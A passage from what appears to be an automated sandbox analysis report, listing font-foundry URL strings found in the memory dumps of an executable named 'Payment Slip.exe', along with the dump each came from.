                    Source: Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380697612.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380903153.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380650039.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380504300.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380790636.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.come.com
                    Source: Payment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comessed
                    Source: Payment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379362960.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379167828.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379106889.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.378867231.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379285162.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379032096.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.378928308.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comessedD
                    Source: Payment Slip.exe, 00000001.00000003.391559224.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.392002293.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.395061880.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.393674920.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.399655463.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.395710909.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.393427428.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comionm7
                    Source: Payment Slip.exe, 00000001.00000003.378613313.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comk
                    Source: Payment Slip.exe, 00000001.00000003.392002293.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.395061880.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.393674920.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.399655463.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.395710909.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.393427428.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comldom
                    Source: Payment Slip.exe, 00000001.00000003.392002293.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.395061880.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.393674920.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.399655463.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.395710909.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430104837.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.393427428.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comm
                    Source: Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381467642.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.como
                    Source: Payment Slip.exe, 00000001.00000003.378928308.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comoituO
                    Source: Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380697612.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380903153.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380362004.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380650039.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380504300.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380790636.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380450430.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comsief7
                    Source: Payment Slip.exe, 00000001.00000003.378483975.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comtalik
                    Source: Payment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379362960.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379167828.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379742924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379538116.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379106889.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379285162.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379032096.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379655535.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comueTFv
                    Source: Payment Slip.exe, 00000001.00000003.382244412.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381558452.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380697612.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380903153.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380650039.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381734558.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381649588.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.382377807.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381467642.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381962443.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381880102.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.382159289.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380790636.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comueed
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
                    Source: Payment Slip.exe, 00000001.00000003.371357816.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372056930.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371868655.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373838060.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372228924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371843623.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371775143.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371537770.00000000059B2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371621848.00000000059B2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372291562.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                    Source: Payment Slip.exe, 00000001.00000003.371285758.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371173544.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn%
                    Source: Payment Slip.exe, 00000001.00000003.370802075.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.370663697.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371537770.00000000059B2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                    Source: Payment Slip.exe, 00000001.00000003.371285758.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371173544.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cnC
                    Source: Payment Slip.exe, 00000001.00000003.371357816.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cnicr
                    Source: Payment Slip.exe, 00000001.00000003.383166950.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/
                    Source: Payment Slip.exe, 00000001.00000003.383166950.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/(
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                    Source: Payment Slip.exe, 00000001.00000003.383423314.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383166950.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383306809.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                    Source: Payment Slip.exe, 00000001.00000003.384323219.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383423314.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383166950.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383736199.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.384539089.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383306809.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383858390.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.384219354.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.384019197.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383560903.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm3
                    Source: Payment Slip.exe, 00000001.00000003.383423314.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383166950.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383736199.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383306809.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.383560903.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/y
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
                    Source: Payment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr-e
                    Source: Payment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.krde
                    Source: Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377104955.00000000059B3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                    Source: Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375768530.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376169988.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376962351.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376596653.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377028013.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376909789.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376534760.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375928981.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376730482.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376467969.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376807157.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/(
                    Source: Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375768530.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376169988.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376534760.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375928981.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376467969.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/D
                    Source: Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/O
                    Source: Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375768530.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376169988.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376962351.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376596653.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377028013.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376909789.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376534760.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375928981.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376730482.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377226807.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377358985.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376467969.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376807157.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377104955.00000000059B3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y0
                    Source: Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y0/
                    Source: Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375768530.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376169988.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376534760.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375928981.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376467969.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y0MS
                    Source: Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/es-e
                    Source: Payment Slip.exe, 00000001.00000003.374468136.00000000059AC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/es-eO
                    Source: Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376596653.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377463854.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377028013.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376909789.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376534760.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375928981.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376730482.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377226807.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377358985.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376467969.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374468136.00000000059AC000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376807157.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377104955.00000000059B3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
                    Source: Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/k
                    Source: Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/v
                    Source: Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/k
                    Source: Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/s-c
                    Source: Payment Slip.exe, 00000001.00000003.374468136.00000000059AC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/slnt
                    Source: Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/staD
                    Source: Payment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/y
                    Source: Payment Slip.exe, 00000001.00000003.367520517.0000000005992000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
                    Source: Payment Slip.exe, 00000001.00000003.367520517.0000000005992000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.comE
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
                    Source: Payment Slip.exe, 00000001.00000003.370475864.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.370663697.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
